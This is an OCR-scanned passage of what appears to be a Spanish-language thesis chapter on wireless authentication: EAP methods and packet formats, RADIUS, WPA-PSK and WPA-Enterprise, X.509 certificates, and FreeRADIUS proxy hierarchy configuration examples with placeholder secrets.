en las antiguas lineas telefénicas Dial Up usando PPP. Actuaimente es muy usado en las
redes cableadas asi como en redes inalambricas.

EAP fue exclusivamente disefiada para ser utilizada en la capa de enlace, no siendo
necesaria la capa IP, éste conlleva a que EAP proporcione un transporte seguro en sus

métodos de autenticacion.

3.3.1 Principales métodos de autenticacion EAP
a) EAP-TLS

Es un protocolo estandar de la IETF y su funcién es proporcionar autenticacion mutua
por certificados (1), negociacién del método de cifrado (2) y el intercambio de claves
publicas (3) entre el cliente y el servidor de autenticacién [16]. En la Fig. 3.7 se describe
el proceso de cifrado EAP-TLS.

Este método requiere la instalacion de un certificado personal por usuario. Para la
autenticacion mutua, cada uno debera validar su identidad y la clave publica de la otra

parte.

Ciave publica

g ~, usuario

Usuario final 'Serv:idor :

1.- Autenticacion mutua -

2.- Negociacién del métado
de cifrado a usar

3.- Intercambio de
claves plublicas

Clava piiblica
_servidor

Fig. 3.7 Proceso de cifrado EAP-TLS
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Es importante diferenciar el método EAP-TLS del método SSL-TCP usado en el
internet, ya que el primero es usando el protocolo Secure Socket Layer (SSL) a fravés de
EAP mientras el segundo es usando SSL sobre TCP [17].

b) EAP-TTLS

Es también un protocolo estandar de la IETF desarrollado por Funk Software y
Certicom y que consiste en encapsular una sesidon TLS estableciendo una conexion

segura (tunel) para la autenticacion de los usuarios.

Segun [18] el método EAP-TTLS consiste en dos fases:

o Fase de handshake: Durante ésta fase, el servidor es autenticado al cliente o
ambos son mutuamente autenticados usando TLS y un conjunto de claves para
crear un tinel seguro para el intercambio de informacién.

« Fase de datos: Durante ésta fase, el cliente es autenticado al servidor o ambos
son mutuamente autenticados usando un mecanismo de autenticacion
encapsulado dentro de un tunel seguro. Por ejemplo: PAP, CHAP, MS-CHAP o
MS-CHAPv2.

Este método soporta distintos protocolos de autenticacién basado en password por
ejemplo: Base de datos, LDAP, eic. Y Ia proteccién de la seguridad de éstos protocolos lo
garantiza el tinel seguro. En la Fig. 3.8 se observa el proceso de cifrado EAP-TTLS.

EAP-TTLS _Clave privada
Clave publica servidor s
servidor ﬁy

2
67
i Ushaﬁoﬁnﬂal — Sghrdé;
1.- Fase de handshake :

2.- Fase de datos
Fig. 3.8 Proceso de cifrado EAP-TTLS

c) PEAP (Protected EAP)

Es un protocolo desarrollado por Microsoft, Cisco y RSA Security y creado para

autenticar y cifrar paquetes EAP dentro de un tanel TLS.



23

Solo es necesario un PKI en el lado del servidor para autenticar a los usuarios
mediante una conexién cifrada entre los dos. En la Fig. 3.9 se observa el proceso de
cifrado EAP-PEAP.

Segun [19] existen dos fases en el método EAP-PEAP las cuales son:

e Fase 1: La autenticacion del cliente al servidor es mediante el uso de un “TLS
Handshake” para crear un tanel encriptado.

e Fase 2: El servidor valida al usuario usando EAP negociando un tipo de
autenticacion que puede ser: EAP-Mschapv2 o EAP-GTC.

Clave privada
servidor: W

Clave pliblica:
servidor

i B

 Usuario final " Servidor

1.- Fase de handshake -

2.~ Negociacion de un tipo
de autenticacién

Fig. 3.9 Proceso de cifrado PEAP

El nico método que soporta fragmentacién y reensamblado de paquetes es EAP-
TLS, por lo que si el tamafio del paquete es mayor que el valor del MTU, entonces los
paquetes tendran dificultades al validarse con el Autenticador.

El método de autenticacion EAP-TLS podria contener un tamafio de paquete grande
debido a las fragmentaciones de cadenas de certificados. Por ejemplo, una cadena de
certificados de 14960 octetos de tamafio requerirda diez peticiones de ida y vuelta
enviandose 1496 octetos EAP MTU.

3.3.2 Estructura del paquete EAP

El paquete EAP consta de 4 campos como se muestra en la Fig. 3.10.

. Ciodigo = |ldentificadiot < Long itad
 Data ... L ~ .
Fig. 3.10 Estructura del paquete EAP

e Coddigo: Campos de un octeto, identifica el tipo de paquete EAP a transmitirse.
Tiene cuatro posibles valores: Request, Response, Success y Failure.
¢ I|dentificador: Campo de un octeto y ayuda en combinar las respuestas de las

consultas de paquetes EAP.
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e Longitud: Campo de 2 octetos e indica la longitud total del paquete EAP. Los
octetos fuera del rango son tratados como datos irrelevantes y deberian ser
ignorados en la recepcion. \

) Daté: El formato de los datos depende del campo cédigo. Su valor minimo es de 0
bytes.

3.3.3 Tipos de paquetes EAP
a) 'Consultas EAP (EAP-Request)

El paquete “EAP-Request” es enviado desde el punto de acceso hacia el suplicante,
cada consulta es identificada por un valor “Type”. Las consultas retransmitidas deberian
ser enviadas con el mismo identificador para distinguirlos de las nuevas consultas. Su
valor es de 01H.

b) Consultas EAP (EAP-Response)

El suplicante envia un paquete “EAP-Response” uUnicamente en respuesta a la
consulta del Autenticador y no mediante un periodo de tiempo. Su valor es de 02H.

Si un suplicante recibe un paquete “EAP-Request’ duplicada, entonces éste deberia
reenviar la respuesta original sin procesar un nuevo paquete.

Una manera de evitar el solapamiento de los paquetes EAP-Request y EAP-
Response es que el campo identificador debe empezar desde un valor inicial (nimero
aleatorio) y ser incrementado por cada nueva consulta. De ésta manera se evitaria los
ataques por secuencia.

La mayoria de los métodos que trabaja con EAP inicializan el valor del campo
identificador a uno, en cambio los métodos modernos como por ejemplo EAP-FAST
inicializan su valor con un valor random, esto es para darle mayor seguridad ante los
ataques informaticos.

La secuencia del campo identificador cambia cuando el Autenticador recibe una
nueva consulta desde el servidor RADIUS para luego reenviar la consulta en un paquete

“EAP-Request” al suplicante.

c) Success y Failure

Una vez terminado el proceso de autenticacion EAP y haber elegido un método de
autenticacion, el Autenticador enviara un paquete “Success”, en caso de haber sido
autorizado el acceso del usuario a la red o un paquete “Failure” en caso de haber sido

rechazado su acceso.
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El campo cédigo de la trama EAP deberia ser de valor O3H si el usuario es aceptado
(Success) o en caso contrario su valor debera ser 04H (Failure).
En la Fig. 3.11 se observa una captura en wireshark de un usuario autorizado en

ingresar a una red.

Filter: | . Expression.. Clzar Apply
No. 'Tune . Source i Destination Protocol Length: Info
© 160107, 982949 [Cisco_6f:b2:30 . iGemtekTe_ce:ld:7e =TT : 60:Success
. oL - . . [
17 107.984231 Cisco 6f b2:30 ‘GemtekTe ce:ild:7e EAPOL 67 Key

18-107.985403 Cisco 67:b2:30 GemtekTe ce:1d:7e ' EAPOL 62 Key

» Ethernet 1T, Src: Cisco_6T:b2:30 (60:26:0a: 6f:b2: 30), Dst: GemtekTe ce:1d:7e (00:21:00:ce:1d:7e)
'v 802.1X Authentication .
Yersion: 1
Type: EAP Packet (O)
Length: 4
' v Extensible Authentication Protocol
! Code: Success (3)
P Id: 7
Length: 4

|
|
{
!
|
|

Fig. 3.11 Captura de paquetes para una autenticacién con éxito

Solo un método de autenticacién esta permitido dentro de un proceso EAP. En el
caso de que el Autenticador tenga un retardo en enviar una indicacién de resultado, el
suplicante debera esperar un tiempo considerable. Después de ello se descarta el
paquete, asi se evitara tiempos de esperas largos en caso que el paquete perdido fuera

uno del tipo “EAP-Failure”.

d) Comportamiento en las retransmisiones

Las retransmisiones en el proceso de autenticacion EAP podria ser una herramienta
para los atacantes, ellos podrian obtener informacién recolectando distintos datos como
son los nimeros de retransmisiones enviadas por el Autenticador y el Suplicante.

Para evitar esto es necesario usar estrategias de retransmision en los tiempos de
espera de la autenticacion. EAP usualmente es usado sobre una capa inferior insegura
por lo que el temporizador de las retransmisiones deberia ser dinamicamente estimado.
Se sugiere en estos casos usar como maximo de 3 a 5 retransmisiones en cada proceso
de conversacion con EAP o en su defecto usar EAP sobre un protocolo seguro como
puede ser ISAKMP para IPSEC o usar EAP sobre TCP.

Con estos protocolos seguros, el nimero de retransmisiones podria llegar a ser hasta

infinito pero el suplicante necesitara mantener un tiempo de espera para evitar consultas

indefinidas por parte del Autenticador.
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Los algoritmos recomendados para obtener la estimacion dinamica de los
temporizadores en las retransmisiones del EAP son SRTT, RTTVAR y RTO, estos
algoritmos estan descritos en la RFC 2988.

3.3.4 Tipos de paquetes iniciales EAP-Request / EAP-Response

La RFC 3748 define ocho tipos de paquetes EAP-Request / EAP-Response como se
muestra en la TABLA N° 3.1.

TABLA N° 3.1 Tipos de paquetes EAP-Request / EAP-Response

Tipo de paquete EAP.
Identity
Notification
Nak (Response only)
MD5-Challenge
One Time Password (OTP)
Generic Token Card (GTC)
254 : Expanded Types
2556 Experimental use

OO |W[N[— 3

a) Identity (EAP-Request / EAP-Response)

Se define como la consulta inicial realizada por el Autenticador para saber la identidad
del usuario movil, la respuesta del usuario sera enviando su identidad o incluso un
mensaje personalizado para la comunicaciéon con el Autenticador. El tamafio de las
consultas o respuestas a estos paquetes no deberia ser mayor que 1020 octetos.

Los métodos EAP deben incluir un mecanismo especifico para obtener la identidad y
no retardar en las respuestas del usuario.

Los paquetes “Identity Request” o “Identity Response” se transportan en texto plano
de un modo inseguro por lo que un atacante podria obtener y reemplazar la identidad del
usuario de una manera sencilla. Una de las formas para evitar éstos ataques es cifrando
la autenticacion de los paquetes, haciendo un hash de los mismos y protegiendo las
respuestas o consultas de los paquetes EAP mediante el uso de una capa de transporte
segura (TLS). ‘

b) Notificacion

Es un valor opcional usado para transmitir mensajes “‘EAP-Request’ o “Eap-
Response” visibles en modo pasivo. Algunos métodos de autenticacion EAP prohiben las
notificaciones de mensajes. La longitud maxima de una consuita de notificacion es de
1020 octetos. '
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c¢) Legacy NAK

Este tipo de paquetes aparecen en los mensajes “EAP-Response” y es enviado en
respuesta a “EAP-Request” en donde el tipo de autenticacién no es el deseado por el
usuario movil.

En la Fig. 3.12 se observa-que la autenticacion deseada es del tipo EAP-TTLS con un
valor en hexadecimal de 15H y el tipo de autenticacion deseada para las respuestas a las
consultas EAP tiene siempre un valor 03H. Para un valor tipo 00, indica que el suplicante
no tiene alternativas viables para responder a las consultas del tipo de autenticacion y el

Autenticador ya no deberia volver a consultar por el tipo de autenticacién del suplicante.

Expression.. Tlsar R

» Praze 4+ €0 bytes on wire (488 bits); &0 bytes captured (380 bits) o
» Etheraet I, Sre: Gcatck’i’_ch::’?:Z#{8'9;:l4:a5:'f3:‘f2_:24), bst: Ci'scom(}{:af;?d (B6:26:00:68:a7:78)
v 882, 1% Avthentication

varsian: 1

Type: DAP Poghet (B9

tangth: B
* gxtensible Authentication Protocol.

Cade: Rgspense (I}

s 2

Lengiing §

Typa: Legacy Hak [Response onty] [RFC3748] (31

fiosired Auth Type: EAR-TTLS [RECS281) {21)

Fig. 3.12 Captura de paquetes para una autenticacion de tipo NAK

d) MD5-Challenge

Este tipo de consulta es enviada por el Autenticador al suplicante. La respuesta del
suplicante podria ser del tipo Md5 Challenge, NAK, o NAK expandido como se muestra
en la Tabla N° 3.1. Si el suplicante o el servidor de autenticacién no soportan MD5-
Challenge, la respuesta a ésta consulta daria error.

Este método de autenticacién genéralmente no es usado para redes inalambricas
pues existen amenazas sobre las cadenas de octetos (16 octetos) ya que el algoritmo no
especifica como los octetos son creados y puestos en el paquete. El método MD5-
Challenge solo cuenta con el mecanismo de autenticacion usando password o clave
compartida.

En la Fig. 3.13 se observa la consulta del Autenticador al para usar el paquete MD5-

Challenge como el mensaje de desafio-al usuario.
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, 68 bytes captured [$20 bits)
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Ethernel II, Sre: Cisco B7:a7:79 (80:26:02:67:51:70), D5t: GentenTe 73:12:24 g63;14:as:?3£f2:24)
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Version: 1
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LEngths 27
v gxtonsible Authentication Pretecol
Codrs Raguast (1)
1 2

Packst 783

Ivpa:
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Fig. 3.13 Captura de paquetes para una autenticacién del tipo MD5-Challenge

3.4 RADIUS

Es el primer protocolo de red basado en el modelo AAA y usado para proporcionar la

validacion de los usuarios a los servicios del internet. Las organizaciones o instituciones

que brinden servicios de redes podrian usar éste protocolo de red para autenticar a sus

usuarios de una forma centralizada.
El paquete RADIUS se encuentra encapsulado en un campo UDP y recibe peticiones

de sus clientes (NAS u otro servidor RADIUS) usando el puerto 1812.
En la Fig. 3.14 se observa el proceso de validacion entre un cliente y un servidor

RADIUS [20].

Clientes
RADIUS

Fig. 3.14 Arquitectura RADIUS

RADIUS
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3.41 Estructura del paquete RADIUS

El paguete RADIUS consta de cuatro campos como se muestra en la Fig. 3.15.

Codigo | Identificador] Longiiud

Autenticador

| Adributos ...

Fig. 3.15 Estructura del paquete RADIUS

Los campos en la estructura de un paquete RADIUS son:

a) Caodigo: Su valor es de un octeto e identifica al tipo de paquete RADIUS. En la
tabla 4.2 se muestra los valores de los codigos validos escrito por la RFC 2865.

b) Identificador: Este campo permite controlar los paquetes “Access-Request’ y
“Access-Response” para evitar paquetes duplicados. Por ejemplo cuando una
consulta es duplicada se tiene un paquete con la misma IP de origen, mismo
puerto y el mismo valor del identificador.

c) Longitud: Indica el tamafio total del paquete RADIUS, los octetos fuera de ese
tamarfo pueden ser ignorados en la recepcién. La longitud minima del paquete es
de 20 bytes y la longitud maxima es de 4096 bytes.

d) Autenticador: Su tamafio es de 16 octetos y es usado para autenticar las

consultas y respuestas hacia y desde el servidor RADIUS respectivamente.

En la TABLA N° 3.2 Se observa los tipos de paquetes RADIUS.

TABLA N° 3.2 Tipos de paquetes RADIUS

# Tipo de paquete RADIUS
Access-request

2 Access-accept

3 Access-reject

4 Accounting-request

5 Accounting-response

11 Access-challenge

12 Status-server (experimental)
13 Status-client (experimental)
255 Reservado

En el campo Autenticador existen dos modos:
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a) Consuitas del Autenticador (Requeét Authenticator): Access-Request.
b) Respuestas del Autenticador (Response Authenticator): Access-Response,
Access-Reject y Access-Challenge.

La longitud del campo “Authenticator’ es de 16 octetos aleatorios y su valor es
imprevisible y Unico sobre el tiempo de vida de una clave secreta compartida entre un
servidor y un cliente RADIUS. '

Al hacer unicos los valores del campo Autenticador, hace mas dificil para un
atacante conseguir, en un tiempo minimo, descifrar el valor de la clave secreta en
conjuncion con el valor de consulta al menos que adivine el valor real de la clave y pueda
responder a las consuitas del servidor RADIUS. '

En la Fig. 3.16 se observa el proceso de cifrado de la clave del usuario a ser
transmitido. En ello, la clave secreta ingresada por el usuario se combina con la
resultante de un hash md5 entre la clave secreta compartida por el servidor radius y el
valor del campo “Request Authenticator” dando como resultando en una funcién X-OR el
valor del atributo User-Password [21].

MD5(Clave-secreta; Request authenticator) A 7  Atributo
' Password del usuaric B {User-Password)

Fig. 3.16 Proqeso de cifrado del campo "Request Authenticator"

El valor del campo “Response Authenticator’ es el resultado de un hash Md5 entre el
valor del cédigo, ID, longitud, Request Authenticator, atributos y clave compartida tal
como se muestra en el ejemplo 3.1

Ejemplo 3.1. Férmula para obtener el valor del campo “Response Authenticator”

Valor de Response Authenticator= Md5 (Codigo; ID; Longitud; Request Authenticator;
. Atributos; Clave Compartida)

3.4.2 Protocolo de autenticacion RADIUS

Los protocolos de autenticacion RADIUS compatibles son muchos, entre los
principales tenemos PAP, CHAP, MSCHAP, EAP-MSCHAPV2, etc. Y los password de los
usuarios podrian ser almacenados mediante texto plano, NT hash, MD5 Hash, etc.

La Fig. 3.17 se muestra las compatibilidades entre los protocolos de autenticacion y
los passwords de los usuarios almacenados en una base de datos o en un servidor
LDAP.
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Fig. 3.17 Compatibilidad entre los protocolos de autenticacion y los password
Fuente: “http://deployingradius.com/documents/protocols/compatibility.html|”

3.4.3 Atributos en RADIUS

Los atributos forman parte del formato de paquete RADIUS y su funcion es brindar
informacion acerca de la configuracion de los mensajes RADIUS. Los atributos seran
definidos segun el tipo de paquete transmitido.

En la Fig. 3.18 se muestra el formato de los atributos usados en un paquete RADIUS.

 Tipo (1 Byte) | Longitud (1 Byte) | _Valor (nBytes) |

Fig. 3.18 Formato del campo atributo de un paquete RADIUS

a) Campo Tipo: Son los valores que identifica a cada atributo. En el anexo D se
muestra una lista de atributos seguin RFC 2865.

b) Campo Longitud: El valor del campo longitud de un atributo es de 1byte o0 255 en
decimal, por lo que existiran 255 valores de atributos posibles.

c) Campo Valor: Este campo es el mas importante ya que contiene informacion

especifica de un atributo.

3.5 Acceso Protegido WIF! (WPA)

Es un protocolo de red creado por la alianza WIFI cuyo objetivo fue solucionar los
problemas de confidencialidad del protocolo WEP. Las caracteristicas del protocolo WPA

son las siguientes:

¢ Usa una clave inicial compartida entre todos los usuarios.

o Usaun protocolo de integridad de clave temporal (TKIP) para el cifrado de datos.
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e Usa el mismo algoritmo de cifrado RC4, similar a WEP.

e Usa un vector de inicializacién de 48 bits, el doble que el usado en WEP.

e En cuanto a la integridad de los mensajes, se ha reemplazado el cédigo CRC-32
por el codigo de integridad de mensaje MIC.

¢ Incluye un contador de tramas para evitar los ataques de repeticién de paquetes.

En la Fig. 3.19 se observa el formato de la trama WPA

Fig. 3.19 Estructura del paquete WPA

W | Dates CMIC | v |

3.5.1 NModos del cifrado WPA

Existen dos modos de cifrado en el proceso WPA: Modo Home y Modo Empresarial.
El modo home es conocido como el proceso de Handshake de cuatro vias (Ver Fig.
3.20) y el modo empresarial como proceso de cifrado con EAP (Ver Fig. 3.22).

a. WPA Pre-Shared Key
Caracteristicas:

e Utiliza una clave inicial compartida, pero a diferencia de WEP ésta clave varia
cada cierto tiempo. '

¢ Utiliza una longitud mayor en el tamafio de las claves ingresadas por el usuario:
de 8 a 63 ASCII o 64 digitos hexadecimales.

e Utiliza un cédigo que verifica la integridad de los datos transmitidos por el usuario

flamado Codigo de Integridad de Mensajes (MIC).

En la Fig. 3.20 siguiente se observa grafico de un escenario WPA-HOME con llave

compartida.



Fig. 3.20 Escenario de una red inalambrica con seguridad WPA-PSK

Proceso de cifrado WPA-PSK
El proceso de autenticacién y cifrado WPA Home se describird en los siguientes

pasos:

1. El proceso de cifrado depende de un par de llaves maestras conocida como
PMK la cual es el resultado de una funcién entre la frase de paso y el valor del
SSID.

2. Una vez que el cliente tiene su PMK, éste empieza a negociar con el punto de
acceso para obtener un par de llaves transitorias, éste par de llaves es
conocida como PTK y son creadas cada vez que el cliente se conecta al punto
de acceso y en cada periodo de tiempo.

3. La funcién que resulta del valor de PMK creados por el punto de acceso y el
cliente que se conecta, y las macs address de los mismos resulta en el valor
PTK la cual es enviado al punto de acceso para la comprobacién de la
integridad del mensaje durante el intercambio de la autenticacion.

4. El punto de acceso comprueba el valor de PMK y PTK y envia la respuesta al
suplicante.

5. El suplicante hace lo mismo y reenvia su respuesta al punto de acceso. Si el
resultado de la MIC no concuerda con la del usuario significa que los valores
del PMK y PTK son incorrectos.

6. Se instala la clave y se realiza la transferencia de datos cifrados.

En la Fig. 3.21 se observa el proceso de cifrado WPA-PSK.
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Fig. 3.21 Proceso de cifrado WPA-PSK

b. WPA Empresarial

Caracteristicas:

e Requiere de un servidor de autenticacion

El valor del PMK varia dinamicamente cada vez que un usuario se conecta.
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e El valor del PMK es generado en el servidor de autenticacion para luego ser
transmitido al usuario pasando por el punto de acceso.
o Cada usuario tiene unas credenciales especificas de conexién a una red

inalambrica con soporte WPA-Empresarial.

En la Fig. 3.22 se observa un escenario WPA-Enterprise.

Fig. 3.22 Escenario de una red inalambrica con seguridad WPA-Empresarial

Proceso de cifrado WPA-Empresarial
El proceso de autenticacion y cifrado WPA Enterprise se describira en los siguientes

pasos: (ver Fig. 3.23).

1. Un suplicante (usuario) requiere una conexién inalambrica hacia el punto de
acceso iniciando un proceso conocido como EAP sobre LAN (EAPOL).
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El punto de acceso envia un paquete “EAP-Request” al suplicante solicitando
su identidad.

El suplicante responde a la consulta envia su identidad en un paquete EAP-
Response.

El punto de acceso reenvia dicho paquete al servidor de autenticacion
encapsulando el paquete EAP en un paquete “RADIUS Access-Request”.

El servidor RADIUS responde la consulta enviando un paquete de desafio
“RADIUS Access-Challenge” incluyendo unas banderas (flags) para el inicio
del protocolo de autenticacién configurado por defecto en el mismo.

El suplicante recibe un paquete “EAP Response-ldentity”

El suplicante envia un paquete “Cliente-Hello” al punto de acceso en donde

hace mencién de la version del protoCoIo de autenticacion a usarse, los

algoritmos de cifrado que soporta y envia un valor random al punto de accesé.
El punto de acceso reenvia el paquete enviado por el suplicante en un
paguete “RADIUS Access-Request’.

El servidor RADIUS responde dicha solicitud enviando un paquete “Server
Hello” en donde acepta los requerimientos, escoge una versién del protocolo
de autenticacion requerido, escoge una suite de algoritmos de cifrado y se
adjunta el certificado firmado por una entidad certificadora.

Estos valores son reenviados por el punto de acceso hacia el suplicante.

Por ultimo, tanto el suplicante como el servidor RADIUS comparten una llave
de sesion, un par de llaves maestras (PMK) y una llave de firma hasta
completar el Handshake (apreton de manos) entre el suplicante y el servidor
de autenticacion RADIUS.
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Fig. 3.23 Proceso de cifrado WPA-Empresarial

El modo de autenticacion empresarial (WPA-Enterprise) es el método mas seguro y
esta orientado para usarse en grandes oficinas. |

Por ejemplo, en el caso que un atacante logre recuperar el valor del PMK en el
proceso de cifrado WPA, éste solo podria hacerse pasar por un usuario para una sola
conexion especifica, limitando el tiempo de conexion para el atacante.

El servidor de autenticaciéon finaimente es que el que acepta o rechaza al usuario
mientras el Punto de Acceso es el que permite que se conecte a la red.

Si la autenticacion es satisfactoria, tanto el cliente como el servidor de autenticacion

derivan de la misma PMK.

3.6 Certificados digitales

Un certificado digital es un documento, en un formato determinado, que garantiza a
los servidores con acceso a una red IP (p.e. RAAP o Internet), la integridad de su
informacién expuesta.

Para esto, una entidad certificadora, con autoridad, firma con su llave privada una
consulta de certificado de una institucion que solicita garantia en su informacién. Este
certificado firmado tendra un tiempo de validez e incluira la identidad de la autoridad que
lo certifica, una huella digital el cual garantizara la integridad de sus datos y las

identidades del emisor de la firma digital asi como del sujeto propietario del certificado.
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La vinculacién entre la identidad del sujeto propietario del certificado y su clave
publica lo garantiza la entidad emisora de certificado, el cual comprueba que la clave
publica del servidor es quien dice ser. Una vez validado el certificado, la transmisién de
datos entre el cliente y el servidor viajan de forma segura usando una infraestructura de
claves publicas (PKI).

Existen varios formatos que representan a los certificados digitales, el mas usado es
el estandar UIT-T X509. La estructura del formato digital se representa de la siguiente
manera:

En la Fig». 3.24 se puede observar la estructura de un certificado digital X509 el cual
se divide en las siguientes partes:

e Version: Actualmente existen tres versiones del estandar, la version x509v3 es la
usada actualmente.

o .Nt’xmero de serie: Es un numero entero positivo asignado por la entidad
certificadora a cada certificado emitido por la misma. Su valor es siempre Unico
para cada certificado emitido por lo que un nombre de emisor y su nimero serial
identifica a un certificado unico.

e Algoritmo de la firma: Es el algoritmo usado para la firma digital del certificado
emitido. Se recomienda el uso del algoritmo “sha1WithRSAEncryption”.

e Emisor: Este campo identifica la entidad que firma el certificado usando su llave
privada. '

e Validez del certificado: El tiempo de validez de un certificado emitido dependera
de un acuerdo entre la autoridad emisora y la instituciéon propietaria de la
certificadora. Se recomienda que tenga un tiempo de validez no mayor de cinco
anos.

e Sujeto que es firmado: Este campo, al igual que el campo “Emisor’, contiene
valores definidos previamente por la institucion solicitante del certificado digital.

e Clave publica del sujeto: Es un campo en bytes que junto al campo “sujeto”
identifica al solicitante del certificado digital.

e Extensiones X509v3: Son campos opciones del estandar y es usado para, de
alguna manera, asociar informacion adicional a sujetos, claves publicas, etc. _

o Firma digital del CA: Es una huella o hash a un certificado digital incluyendo
datos de la CA. Su funcion es demostrar la autenticidad de un mensaje digital para

la transmisién segura de datos por el internet.
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Version

NUumero de serie

Algofitmo de la fiima

Emisor

Validez del certificado

Sujete que es firmado

Clave publica del sujeto

Extensiones X509v3

Firma digital del CA

Fig. 3.24 Estructura X509v3

En el ejemplo 3.2 se observa el resultado del campo “issuer” para determinar el sujeto

perteneciente al certificado especifico.

Ejemplo 3.2. Calculo del emisor de un certificado en especifico:

openssl x509 -in ValiCert_Class_1_VA.pem -noout —issuer

issuer= /L=ValiCert Validation Network/O=ValiCert, Inc./OU=ValiCert Class 1 Policy
Validation Authority/CN=http://www.valicert.com//emailAddress=info@valicert.com

En la Fig. 3.25 se observa el proceso completo de una infraestructura de clave publica
(PKI) [22], en el cual un usuario solicita a una Autoridad Certificadora (CA) la firma digital
de un certificado para un determinado servicio, por ejemplo RADIUS. Este proceso inicia
cuando el usuario envia una solicitud de certificado afiadiendo ciertos datos que identifica
a su institucién de origen y la clave publica del certificado generado, luego la CA recibe
dicha peticion y adjunta sus datos de identidad correspondiente y un tiempo de caducidad
del certificado, a éste ultimo se obtiene su huella mediante usando un hash de 20 bytes
de salida (sha-1), el resultado obtenido y la clave privada del CA seran entradas de una
funcion conocida como RSA dando como resultado la firma digital requerido por el
solicitante, el certificado con los valores .de identificacién del usuario solicitante y el CA

junto con la firma digital es conocido como el certificado digital para el servicio requerido.
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Fig. 3.25 Infraestructura de clave publica

3.7 Jerarquizacion de los servidores RADIUS

El proceso de jerarquizacion de los servidores RADIUS permite a los usuarios de las
instituciones acceder a una red inaldmbrica de otra institucién con su misma cuenta de

usuario. de su instituciéon de origen.

3.7.1 Jerarquizacion de servidores RADIUS de nivel dos

Para lograr la conectividad entre los servidores RADIUS de cada institucion, es
necesario usar un servidor RADIUS de mayor jerarquia, el cual reenvié las peticiones de
autenticacién al servidor correspondiente de la institucién del usuario.

En la Fig. 3.26 se observa el proceso de jerarquizacién de nivel 2 en el cual el
servidor, que hace la funciébn de Proxy RADIUS, reenvia la peticion del usuario
userA@universidadA.edu.pe al servidor “RADIUS A’ correspondiente al usuario de la
“Universidad A”.

El proceso de jerarquizacidbn de nivel dos podria ser usado en la itinerancia de
usuarios en las instituciones conectadas a un mismo dominio territorial. Por ejemplo: el
usuario “userA@universidadA.edu.pe”’ perteneciente al dominio territorial (.PE) y el
usuario “userB@universidadB.edu.pe” también conectado al dominio (.PE). El usuario
“userA@universidad.edu.pe” podria visitar la “universidad B” y lograr autenticarse a su
red inaldambrica usando su misma cuenta de usuario. Para esto, el servidor Proxy
RADIUS tendra una lista de realms en su archivo “proxy.conf’ que le permitiria-redirigir

las consultas de los servidores al servidor radius para las instituciones correspondientes.
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Proxy RADIUS

UNIVERSIDAD A

UNIVERSIDAD B

RADIUS A RADIUS B

Fig. 3.26 Jerarquizacion de servidores RADIUS y un Proxy RADIUS

Para que un servidor Proxy RADIUS reenvie las peticiones del servidor “RADIUS B’,
es necesario configurar a dicho servidor como un cliente. En el ejemplo 3.3 se observa
los valores que se deberian agregar al archivo clients.conf del servidor Proxy RADUS
para recibir las consultas de peticion del servidor “RADIUS B”, y en el ejemplo 3.4, el
servidor Proxy Radius redirige las peticiones de los clientes al servidor radius
correspondiente al dominio del usuario. También se observa las expresiones regulares
usadas para los realms, por ejemplo: “~A(.*\..)?UniversidadA\\.edu\\.pe$” es una
expresion regular del realm “UniversidadA.edu.be” usada para reenviar las peticiones de
consultas al servidor con el dominio indicado.

Las expresiones regulares simplifican el uso de los realms. Por ejemplo, para indicar
que el realm acuerda exactamente con el dominio “UniversidadA.edu.pe” entonces es
necesario terminar la expresion con un “$” al final del dominio. Cuando se quiera escribir
un “.” en dicha expresion, es necesario anteponer un backslash pero al ser una
expresion regular de doble comillas se debe anteponer dos backslashes. Al inicio de la

expresion se podria poner el caracter “~” el cual indicara el inicio de dicha expresion.

Ejemplo 3.3. Adicion de un cliente RADIUS en la configuracién del Proxy de nivel 2.

client UniversidadA {

ipaddr = <ip-address-univA>
netmask = 32.

secret = <clave-secreta>
shortname = org-universidadA

}




42

Ejemplo 3.4. Adicién de un realm institucional en la configuracién del Proxy de nivel 2.

realm "~*(.*\\.)?UniversidadA\\.edu\\.pe$" {
type = radius :
authhost = <ip-address-univA>:1812
accthost = <ip-address-univA>:1813
secret = <clave-secreta>
nostrip

3.7.2 Jerarquizacion de servidores RADIUS de nivel tres

Para jerarquizar servidores RADIUS de nivel tres, es necesario un servidor radius de
mayor jerarquia el cual debera reenviar las peticiones de los usuarios pertenecientes a
otro dominio institucional y poder autorizar su acceso hacia una red inalambrica.

En la Fig. 3.27 se observa el proceso de jerarquizacion de nivel 3 en el cual el
servidor, que hace la funcién de Proxy RADIUS, reenvia la peticion del usuario
userA@universidadA.edu.pe al servidor “RADIUS A’ correspondiente al usuario de Ia
“Universidad A”. - ‘

El proceso de jerarquizacién de nivel tres podria ser usado en la itinerancia de
usuarios de las instituciones conectadas a un dominio global, por ejemplo: América
Latina. Un ejemplo podria ser cuando un usuario de la “Universidad A’ requiere
autenticarse a una red inalambrica dé la “Universidad D” conectada- al dominio
institucional de otro pais (PAIS-X). Cuando éste usuario reenvia la peticion de acceso
desde Ila “Universidad D” del “PAIS-X” usando su credencial de origen
“userA@universidadA.edu.pe” , dicha peticion es enviada al servidor “RADIUS D” el cual
redirige la consulta a un servidor de nivel 2 (Proxy RADIUS 2), éste servidor revisa en su
base de datos de realms para la concordancia con el dominio “universidadA.edu.pe”, al
no encontrario vuelve reenvia ia peticién al servidor Proxy de nivel 3, éste servidor si
encuentra concordancia en la base de datos y entonces redirige dicha consulta al
servidor “Proxy RADIUS 1" correspondiente, éste ultimo se encarga de reenviar la

consuita al servidor RADIUS con dominio “universidadA.edu.pe”.




RADIUS D

usegA@yt¥ersidadA.edu.pe

Fig. 3.27 Jerarquizacién de servidores RADIUS y Proxies RADIUS

Para que un servidor Proxy RADIUS reenvie las peticiones a otros servidores Proxies
es necesario configurar a dicho servidor como un cliente RADIUS. En el ejemplo 3.5 se
observa los parametros de configuracién para que un servidor Proxy RADUS de tercer
nivel pueda recibir consuitas de peticiéon del servidor “Proxy RADIUS 2", y en el ejemplo
3.6 se redirige dicha consulta al servidor Proxy Radius correspondiente al dominio
territorial de la institucion. También se observa las expresiones regulares usadas para los
realms, por ejemplo: “~*(.*\..)?.pe$” es una expresion regular del realm “.pe” usada para

reenviar todas las consultas con dominio territorial “.pe”.

Ejemplo 3.5 Adicién de un cliente RADIUS en la configuracién del Proxy de nivel 3

client org-Pe {
ipaddr=<ip-address-Proxy-PE>
secret = <clave-secreta>
shortname = org-Pe

}

Ejemplo 3.6 Adicién de un realm institucional en la configuracién del Proxy de nivel 3

realm "~*(.*\.)?pe$" {
type = radius
- authhost = <ip-address- Proxy-PE> 1812
accthost = <ip-address-Proxy-PE>: 1813
secret = <clave-secreta>
nostrip




44

3.8 Proceso de seguridad

